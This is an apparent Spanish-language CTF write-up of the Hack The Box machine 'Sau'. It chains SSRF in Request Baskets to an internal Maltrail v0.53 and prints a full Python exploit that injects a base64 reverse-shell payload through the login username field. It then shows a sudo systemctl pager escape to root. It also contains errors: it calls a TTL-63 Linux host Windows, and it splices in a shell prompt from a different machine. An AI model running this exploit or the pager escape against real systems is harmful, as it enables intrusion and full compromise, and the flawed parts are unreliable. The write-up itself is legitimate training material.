Sau [EASY🟢]

Dificultad: FƔcil

1- Reconocimiento y escaneo

1.1 Ping

ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# ping -c 1 10.10.11.224
PING 10.10.11.224 (10.10.11.224) 56(84) bytes of data.
64 bytes from 10.10.11.224: icmp_seq=1 ttl=63 time=171 ms

--- 10.10.11.224 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 170.711/170.711/170.711/0.000 ms

Podemos notar que se trata de una maquina Windows, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# nmap -sCV -sS --min-rate 5000 -p- -open -n -Pn -vvv 10.10.11.224 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 23:41 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
Initiating SYN Stealth Scan at 23:41
Scanning 10.10.11.224 [65535 ports]
Discovered open port 22/tcp on 10.10.11.224
Discovered open port 55555/tcp on 10.10.11.224
Completed SYN Stealth Scan at 23:41, 14.73s elapsed (65535 total ports)
Initiating Service scan at 23:41
Scanning 2 services on 10.10.11.224
Completed Service scan at 23:42, 30.62s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.224.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 5.17s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.37s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Nmap scan report for 10.10.11.224
Host is up, received user-set (0.18s latency).
Scanned at 2025-03-06 23:41:26 -03 for 51s
Not shown: 65531 closed tcp ports (reset), 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdY38bkvujLwIK0QnFT+VOKT9zjKiPbyHpE+cVhus9r/6I/uqPzLylknIEjMYOVbFbVd8rTGzbmXKJBdRK61WioiPlKjbqvhO/YTnlkIRXm4jxQgs+xB0l9WkQ0CdHoo/Xe3v7TBije+lqjQ2tvhUY1LH8qBmPIywCbUvyvAGvK92wQpk6CIuHnz6IIIvuZdSklB02JzQGlJgeV54kWySeUKa9RoyapbIqruBqB13esE2/5VWyav0Oq5POjQWOWeiXA6yhIlJjl7NzTp/SFNGHVhkUMSVdA7rQJf10XCafS84IMv55DPSZxwVzt8TLsh2ULTpX8FELRVESVBMxV5rMWLplIA5ScIEnEMUR9HImFVH1dzK+E8W20zZp+toLBO1Nz4/Q/9yLhJ4Et+jcjTdI1LMVeo3VZw3Tp7KHTPsIRnr8ml+3O86e0PK+qsFASDNgb3yU61FEDfA0GwPDa5QxLdknId0bsJeHdbmVUW3zax8EvR+pIraJfuibIEQxZyM=
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEFMztyG0X2EUodqQ3reKn1PJNniZ4nfvqlM7XLxvF1OIzOphb7VEz4SCG6nXXNACQafGd6dIM/1Z8tp662Stbk=
|   256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYYQRfQHc6ZlP/emxzvwNILdPPElXTjMCOGH6iejfmi
55555/tcp open  http    syn-ack ttl 63 Golang net/http server
| http-methods: 
|_  Supported Methods: GET OPTIONS
| http-title: Request Baskets
|_Requested resource was /web
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Fri, 07 Mar 2025 02:42:04 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Fri, 07 Mar 2025 02:41:46 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Fri, 07 Mar 2025 02:41:47 GMT
|     Content-Length: 0
|   OfficeScan: 
|     HTTP/1.1 400 Bad Request: missing required Host header
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request: missing required Host header
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.95%I=7%D=3/6%Time=67CA5CEB%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\x
SF:20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Fri,\x2007\x20Mar\x202
SF:025\x2002:41:46\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/we
SF:b\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x2020
SF:0\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Fri,\x2007\x20Mar\x202
SF:025\x2002:41:47\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\
SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20B
SF:ad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nDate:\x20Fri,\x2007\x20Mar\x202025\x20
SF:02:42:04\x20GMT\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20na
SF:me;\x20the\x20name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-
SF:_\\\.\]{1,250}\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(SIPOptions,67,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Socks5,67,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(OfficeScan,
SF:A3,"HTTP/1\.1\x20400\x20Bad\x20Request:\x20missing\x20required\x20Host\
SF:x20header\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request:\x20missing\x20required\x20Hos
SF:t\x20header");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.01s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:42
Completed NSE at 23:42, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.34 seconds
           Raw packets sent: 71983 (3.167MB) | Rcvd: 71974 (2.879MB)

Puerto 22 correspondiente a un servidor SSH para control remoto mediante linea de comandos y puerto 55555 correspondiente a un servidor web

Vamos a ver si esta maquina contiene puertos filtrados quitando el parƔmetro "--open" de Nmap :

PORT      STATE    SERVICE REASON         VERSION
22/tcp    open     ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdY38bkvujLwIK0QnFT+VOKT9zjKiPbyHpE+cVhus9r/6I/uqPzLylknIEjMYOVbFbVd8rTGzbmXKJBdRK61WioiPlKjbqvhO/YTnlkIRXm4jxQgs+xB0l9WkQ0CdHoo/Xe3v7TBije+lqjQ2tvhUY1LH8qBmPIywCbUvyvAGvK92wQpk6CIuHnz6IIIvuZdSklB02JzQGlJgeV54kWySeUKa9RoyapbIqruBqB13esE2/5VWyav0Oq5POjQWOWeiXA6yhIlJjl7NzTp/SFNGHVhkUMSVdA7rQJf10XCafS84IMv55DPSZxwVzt8TLsh2ULTpX8FELRVESVBMxV5rMWLplIA5ScIEnEMUR9HImFVH1dzK+E8W20zZp+toLBO1Nz4/Q/9yLhJ4Et+jcjTdI1LMVeo3VZw3Tp7KHTPsIRnr8ml+3O86e0PK+qsFASDNgb3yU61FEDfA0GwPDa5QxLdknId0bsJeHdbmVUW3zax8EvR+pIraJfuibIEQxZyM=
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEFMztyG0X2EUodqQ3reKn1PJNniZ4nfvqlM7XLxvF1OIzOphb7VEz4SCG6nXXNACQafGd6dIM/1Z8tp662Stbk=
|   256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYYQRfQHc6ZlP/emxzvwNILdPPElXTjMCOGH6iejfmi
80/tcp    filtered http    no-response
8338/tcp  filtered unknown no-response
55555/tcp open     http    syn-ack ttl 63 Golang net/http server

Podemos ver 2 puertos filtrados, el 80 correspondiente a un servidor y el puerto 8338 desconocido

1.3 whatweb

Vamos a realizar un reconocimiento de las tecnologƭas web que corren por detrƔs del servidor web alojado en el puerto 55555

ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# whatweb 10.10.11.224:55555
http://10.10.11.224:55555 [302 Found] Country[RESERVED][ZZ], IP[10.10.11.224], RedirectLocation[/web]
http://10.10.11.224:55555/web [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, IP[10.10.11.224], JQuery[3.2.1], PasswordField, Script, Title[Request Baskets]

Podemos ver que la URL "http://10.10.11.224:55555" a secas, nos redirige hacia el recurso del servidor web "web":

Podemos ver en una esquina una tecnología utilizada para crear esta aplicación web:

De resto, no encontramos tecnologƭas webs interesantes, quizƔs "Boostrap 3.3.7"

2- Explotación

2.1 Server-Side Request Forgery(SSRF)

Investigando en internet, encontré que este sitio es vulnerable a SSRF, ósea que podemos utilizar la propia aplicación web o servidor web, ademÔs, encontré que esta SSRF la podemos utilizar para acceder al sitio web alojado en el servidor web del puerto 80 que encontramos filtrado, ya que esta configurado para acceder únicamente desde el localhost, por ende podemos aprovecharnos del SSRF para desde la misma pagina, acceder al sitio web alojado en el puerto 80 que se encuentra filtrado

Pudimos var tambien en parte del reconocimiento que una de las tecnologias utilizadas es "requests-baskests", que es una aplicación para configurar y ver solicitudes y cabeceras de solicitudes web de un sitio web que nosotros le especifiquemos y demas, asi que vamos a irnos a la pagina web:

Vamos a darle en "Create":

"Open Basket":

Vamos a darle al engranaje para entrar a la configuración:

Y aquƭ, podemos aplicar forwarding a la IP local de la maquina(127.0.0.1) POR EL PUERTO 80, y que nos rediriga hacia el sitio web donde lo encontrƔbamos filtrado e inaccesible:

"Apply":

Y ahora para enviar solicitud a "basket-requests", nos genera un link que en mi caso es el siguiente:

http://10.10.11.224:55555/u5ggyo7

Con lo cual, como aplicamos forwarding, a la hora de acceder a esta URL, nos va a redirigir al sitio web alojado en el puerto 80:

Podemos ver que no carga del todo la pagina web que esta alojada en el puerto 80, pero si bajamos, reconoceremos otra tecnologia web utilizada para este sitio web alojado en el puerto 80:

"Powered by Maltrail v0.53"

Vamos a revisar el código fuente de este sitio web:

Podemos ver que en el principio del codigo, intenta cargar archivos JavaScript:

        <script type="text/javascript" src="js/errorhandler.js"></script>
        <script type="text/javascript" src="js/thirdparty.min.js"></script>
        <script type="text/javascript" src="js/papaparse.min.js"></script>

Por ende podrĆ­amos interpretar o dar por entendido que existe un directorio "js" dentro del servidor web, en casi todos los sitios webs o a la hora de desarrollar un sitio web, es comĆŗn almacenar los archivos JavaScript en una carpeta llamada "js", esos archivos JS aparentemente, parecen ser de la tecnologia "Maltrail"

Por ende si cambiamos el URL, del sitio a:

http://10.10.11.224:55555/u5ggyo7/

Lo unico que agregamos es una barra "/", ya que al estar aplicando forwarding y ser redirigido a otro sitio web, por lo general suele interpretarlo de diferente forma, por ejemplo, si yo tengo un "index.html" en mi pagina web, en el caso de que apliquemos forwarding, lo estaria interpretando de la siguiente manera:

http://10.10.11.224:55555/u5ggyo7index.html

Y en el navegador se veria de la siguiente forma:

http://10.10.11.224:55555/u5ggyo7

De tal manera que si nostros agregamos una barra "/" al final, el recurso que esta intentando acceder, se podria leer correctamente:

Ahora si, estarĆ­amos viendo el servicio interno del puerto 80 que la maquina tenia filtrado

2.2 RCE Maltrail v0.53

Investigando vulnerabilidades por internet, descubri que esta versión en concreta de Maltrail es vulnerable a un RCE(Remote Command Execution), por lo que vamos a utilizar un exploit de GitHub, un script en Python que mediante un curl al sitio web que realiza el forwarding, es posible que mediante el campo de "Username" del login de la aplicación web, podamos obtener ejecución remota de comandos

Repositorio de GitHub

CrƩditos al creador del repositorio

'''
  ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆ  ā–ˆā–ˆā–“ā–ˆā–ˆā–ˆ   ā–’ā–ˆā–ˆā–ˆā–ˆā–ˆ   ā–’ā–ˆā–ˆā–ˆā–ˆā–ˆ   ā–ˆā–ˆ ā–„ā–ˆā–€ ā–ˆā–ˆā–“ā–“ā–ˆā–ˆā–ˆā–ˆā–ˆ  ā–ˆā–ˆā–€ā–ˆā–ˆā–ˆ  
ā–’ā–ˆā–ˆ    ā–’ ā–“ā–ˆā–ˆā–‘  ā–ˆā–ˆā–’ā–’ā–ˆā–ˆā–’  ā–ˆā–ˆā–’ā–’ā–ˆā–ˆā–’  ā–ˆā–ˆā–’ ā–ˆā–ˆā–„ā–ˆā–’ ā–“ā–ˆā–ˆā–’ā–“ā–ˆ   ā–€ ā–“ā–ˆā–ˆ ā–’ ā–ˆā–ˆā–’
ā–‘ ā–“ā–ˆā–ˆā–„   ā–“ā–ˆā–ˆā–‘ ā–ˆā–ˆā–“ā–’ā–’ā–ˆā–ˆā–‘  ā–ˆā–ˆā–’ā–’ā–ˆā–ˆā–‘  ā–ˆā–ˆā–’ā–“ā–ˆā–ˆā–ˆā–„ā–‘ ā–’ā–ˆā–ˆā–’ā–’ā–ˆā–ˆā–ˆ   ā–“ā–ˆā–ˆ ā–‘ā–„ā–ˆ ā–’
  ā–’   ā–ˆā–ˆā–’ā–’ā–ˆā–ˆā–„ā–ˆā–“ā–’ ā–’ā–’ā–ˆā–ˆ   ā–ˆā–ˆā–‘ā–’ā–ˆā–ˆ   ā–ˆā–ˆā–‘ā–“ā–ˆā–ˆ ā–ˆā–„ ā–‘ā–ˆā–ˆā–‘ā–’ā–“ā–ˆ  ā–„ ā–’ā–ˆā–ˆā–€ā–€ā–ˆā–„  
ā–’ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–’ā–’ā–’ā–ˆā–ˆā–’ ā–‘  ā–‘ā–‘ ā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–‘ ā–ˆā–ˆā–ˆā–ˆā–“ā–’ā–‘ā–’ā–ˆā–ˆā–’ ā–ˆā–„ā–‘ā–ˆā–ˆā–‘ā–‘ā–’ā–ˆā–ˆā–ˆā–ˆā–’ā–‘ā–ˆā–ˆā–“ ā–’ā–ˆā–ˆā–’
ā–’ ā–’ā–“ā–’ ā–’ ā–‘ā–’ā–“ā–’ā–‘ ā–‘  ā–‘ā–‘ ā–’ā–‘ā–’ā–‘ā–’ā–‘ ā–‘ ā–’ā–‘ā–’ā–‘ā–’ā–‘ ā–’ ā–’ā–’ ā–“ā–’ā–‘ā–“  ā–‘ā–‘ ā–’ā–‘ ā–‘ā–‘ ā–’ā–“ ā–‘ā–’ā–“ā–‘
ā–‘ ā–‘ā–’  ā–‘ ā–‘ā–‘ā–’ ā–‘       ā–‘ ā–’ ā–’ā–‘   ā–‘ ā–’ ā–’ā–‘ ā–‘ ā–‘ā–’ ā–’ā–‘ ā–’ ā–‘ ā–‘ ā–‘  ā–‘  ā–‘ā–’ ā–‘ ā–’ā–‘
ā–‘  ā–‘  ā–‘  ā–‘ā–‘       ā–‘ ā–‘ ā–‘ ā–’  ā–‘ ā–‘ ā–‘ ā–’  ā–‘ ā–‘ā–‘ ā–‘  ā–’ ā–‘   ā–‘     ā–‘ā–‘   ā–‘ 
      ā–‘               ā–‘ ā–‘      ā–‘ ā–‘  ā–‘  ā–‘    ā–‘     ā–‘  ā–‘   ā–‘     
'''

import sys;
import os;
import base64;

def main():
	listening_IP = None
	listening_PORT = None
	target_URL = None

	if len(sys.argv) != 4:
		print("Error. Needs listening IP, PORT and target URL.")
		return(-1)
	
	listening_IP = sys.argv[1]
	listening_PORT = sys.argv[2]
	target_URL = sys.argv[3] + "/login"
	print("Running exploit on " + str(target_URL))
	curl_cmd(listening_IP, listening_PORT, target_URL)

def curl_cmd(my_ip, my_port, target_url):
	payload = f'python3 -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\''
	encoded_payload = base64.b64encode(payload.encode()).decode()  # encode the payload in Base64
	command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
	os.system(command)

if __name__ == "__main__":
  main()

Vamos a bajarnoslo con "wget":

wget https://raw.githubusercontent.com/spookier/Maltrail-v0.53-Exploit/refs/heads/main/exploit.py
ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# wget https://raw.githubusercontent.com/spookier/Maltrail-v0.53-Exploit/refs/heads/main/exploit.py
--2025-03-07 00:47:12--  https://raw.githubusercontent.com/spookier/Maltrail-v0.53-Exploit/refs/heads/main/exploit.py
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.109.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2200 (2,1K) [text/plain]
Grabando a: «exploit.py»

exploit.py                      100%[====================================================>]   2,15K  --.-KB/s    en 0s      

2025-03-07 00:47:12 (37,1 MB/s) - «exploit.py» guardado [2200/2200]

                                                                                                                             
ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# ls
escaneo.txt  exploit.py
                                                                                                                             
ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# 

Y vamos a ejecutar el exploit, pero antes vamos a consultar los parametros que tendriamos que pasarle:

ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# python3 exploit.py --help
Error. Needs listening IP, PORT and target URL.
                                                                                                                             
ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# 

Vemos que necesitamos pasarle la IP donde vamos a ponernos en escucha, el puerto y por ultimo la URL donde se encuentra el login de Maltrail, que en este caso vamos a pasarle la URL que realiza forwarding al servicio 80 interno de la maquina

Vamos a ponernos en escucha con netcat por el puerto 443:

ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# nc -nlvp 443
listening on [any] 443 ...

Y vamos a ejecutar el exploit con el siguiente comando:

python3 exploit.py {IP VPN HTB} {Puerto netcat} {URL Forwarding}

En mi caso quedarĆ­a de la siguiente manera:

python3 exploit.py 10.10.14.12 443 http://10.10.11.224:55555/u5ggyo7

Ejecutamos:

ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# python3 exploit.py 10.10.14.12 443 http://10.10.11.224:55555/u5ggyo7
Running exploit on http://10.10.11.224:55555/u5ggyo7/login

Se nos va a quedar como cargando, pero si vamos a la consola donde teniamos netcat en escucha por el puerto 443:

ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.224] 44358
$ 

Ya tendremos una reverse shell

2.3 Tratamiento de la TTY

Vamos a realizar el tratamiento de la TTY para obtener una shell como dios manda :)

"script /dev/null -c bash":

ā”Œā”€ā”€(root㉿kali)-[/home/t0mz/ctf/sau]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.224] 53672
$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
puma@sau:/opt/maltrail$ 

CTRL + Z:

activemq@broker:/opt/apache-activemq-5.15.15/bin$ ^Z
zsh: suspended  nc -nlvp 443
                                                                                                                                                  
ā”Œā”€ā”€(root㉿t0mz)-[/home/kali/ctf/broker]
└─# 

Y vamos a ejecutar el siguiente comando:

stty raw -echo; fg

Ejecutamos:

ā”Œā”€ā”€(root㉿t0mz)-[/home/kali/ctf/broker]
└─# stty raw -echo; fg
[1]  + continued  nc -nlvp 443

Y ahora ejecutamos:

reset xterm

Ejecutamos y nos va a devolver a la reverse shell que obtuvimos:

puma@sau:/opt/maltrail$ 

Ahora vamos a exportar XTERM como TERM y BASH como consola, como variables de entorno:

puma@sau:/opt/maltrail$ export SHELL=bash
puma@sau:/opt/maltrail$ export TERM=xterm
puma@sau:/opt/maltrail$ 

Para verificar que el tratamiento de la TTY se realizo correctamente, pondremos "echo $SHELL" o "echo $TERM":

puma@sau:/opt/maltrail$ echo $SHELL
bash
puma@sau:/opt/maltrail$ echo $TERM
xterm
puma@sau:/opt/maltrail$ 

El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras

2.4 Obtención de la flag user

La flag de user se encuentra dentro de la ruta absoluta "/home/puma/user.txt", vamos a visualizar la flag:

puma@sau:/opt/maltrail$ cat /home/puma/user.txt
cat /home/puma/user.txt
417b6cf709d3d391ab085930fa9604bb
puma@sau:/opt/maltrail$ 

3- Escalado de privilegios

3.1 sudo -l

Para verificar los comandos que podemos ejecutar dentro del usuario "puma" de la reverse shell que acabamos de obtener, vamos a ejecutar el comando "sudo -l":

puma@sau:/opt/maltrail$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:/opt/maltrail$ 

Podemos ejecutar el comando "/usr/bin/systemctl status trail.service" como si fuƩsemos usuarios root, sin proporcionar la contraseƱa:

ma@sau:/opt/maltrail$ /usr/bin/systemctl status trail.service
ā— trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
     Active: active (running) since Fri 2025-03-07 02:31:32 UTC; 1h 39min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 898 (python3)
      Tasks: 11 (limit: 4662)
     Memory: 130.8M
     CGroup: /system.slice/trail.service
             ā”œā”€ 898 /usr/bin/python3 server.py
             ā”œā”€1399 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
             ā”œā”€1400 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
             ā”œā”€1403 sh
             ā”œā”€1404 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I>
             ā”œā”€1405 /bin/sh
             ā”œā”€1406 script /dev/null -c bash
             ā”œā”€1407 bash
             ā”œā”€1424 /usr/bin/systemctl status trail.service
             └─1425 pager

Mar 07 03:37:33 sau maltrail[1285]: Failed password for ; from 127.0.0.1 port 4>
Mar 07 03:38:50 sau maltrail[1310]: Failed password for ; from 127.0.0.1 port 3>
Mar 07 03:38:59 sau maltrail[1313]: Failed password for None from 127.0.0.1 por>
puma@sau:/opt/maltrail$ 

3.2 sudoers & paginate

Vamos a ejecutar "/usr/bin/systemctl status trail.service" abusando de que podemos ejecutarlo como root, y con el formato paginado que nos lo muestra, vamos a abrirnos una bash como usuarios root

Por ejemplo:

Vamos a ejecutar "/usr/bin/systemctl status trail.service" pero con "sudo" al principio:

puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
ā— trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
     Active: active (running) since Fri 2025-03-07 02:31:32 UTC; 1h 50min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 898 (python3)
      Tasks: 12 (limit: 4662)
     Memory: 268.6M
     CGroup: /system.slice/trail.service
             ā”œā”€ 898 /usr/bin/python3 server.py
             ā”œā”€1399 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
             ā”œā”€1400 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
             ā”œā”€1403 sh
             ā”œā”€1404 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I>
             ā”œā”€1405 /bin/sh
             ā”œā”€1406 script /dev/null -c bash
             ā”œā”€1407 bash
             ā”œā”€1563 sudo /usr/bin/systemctl status trail.service
             ā”œā”€1564 /usr/bin/systemctl status trail.service
             └─1565 pager

Mar 07 03:38:59 sau maltrail[1313]: Failed password for None from 127.0.0.1 por>
Mar 07 04:09:19 sau sudo[1419]:     puma : TTY=pts/1 ; PWD=/opt/maltrail ; USER>
lines 1-23

De tal manera que se queda esperando a que bajemos:

Pero en realidad, esto es como utilizar el editor de Vim, si nosotros escribimos "!/bin/sh":

puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
ā— trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
     Active: active (running) since Fri 2025-03-07 02:31:32 UTC; 1h 53min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 898 (python3)
      Tasks: 12 (limit: 4662)
     Memory: 269.8M
     CGroup: /system.slice/trail.service
             ā”œā”€ 898 /usr/bin/python3 server.py
             ā”œā”€1399 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
             ā”œā”€1400 /bin/sh -c logger -p auth.info -t "maltrail[898]" "Failed p>
             ā”œā”€1403 sh
             ā”œā”€1404 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I>
             ā”œā”€1405 /bin/sh
             ā”œā”€1406 script /dev/null -c bash
             ā”œā”€1407 bash
             ā”œā”€1619 sudo /usr/bin/systemctl status trail.service
             ā”œā”€1620 /usr/bin/systemctl status trail.service
             └─1621 pager

Mar 07 04:18:55 sau sudo[1451]:     puma : TTY=pts/1 ; PWD=/opt/maltrail ; USER>
Mar 07 04:18:55 sau sudo[1451]: pam_unix(sudo:session): session opened for user>
!/bin/sh

Ejecutamos:

!/bin/sh
# whoami
root
# 

Obtendremos una shell como root, ahora vamos a obtener un prompt:

# script /dev/null -c bash
Script started, file is /dev/null
root@sau:/opt/maltrail# 

3.3 Obtención de la flag root

La flag de root se encuentra dentro de la ruta absoluta "/root/root.txt", vamos a visualizarla:

root@sau:/opt/maltrail# cat /root/root.txt 
3f9e09869a99c37e57785f53576273e4
